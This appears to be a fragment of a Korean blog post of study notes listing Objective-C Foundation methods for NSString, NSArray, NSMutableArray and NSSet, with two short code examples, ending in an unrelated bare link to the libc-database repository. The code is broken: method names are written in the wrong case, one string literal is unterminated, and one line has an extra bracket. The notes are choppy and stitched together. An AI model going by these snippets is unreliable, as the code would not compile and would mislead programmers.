: 앞에 (+), 안에 alloc이 있음. 메모리 관리 시스템이 사용


<NSstring method>

stringwithstring:nsstring

initwithstring:nsstring

initwithformat

length

isequaltostring

doubleValue

floatvalue

intvalue

integervalue

UTF8string

initwithUTF8String


** NSstring printformat : %@ 



<NSarray method>

initwitharray

initwithobjects

isequaltoarray

objectatindex

count

ex)

NSArray* arr=[[NSArray alloc] initwithobjects:@"A",@"B",nil];

NSLog(@"%@", [arr objectatindex:0]);



<NSMutableArray>

오브젝트를 추가 삭제가능

ex)

NSMutableArray *arr=[[NSMutableArray array];

[arr addobject:@"asdf];

[arr removeobjectatindex:0];


<NSDictionary>


<NSEnumerate>


<NSSet>

allobject

count

equaltoset

objectenumerate

https://github.com/niklasb/libc-database.git


libc-database!

+ Recent posts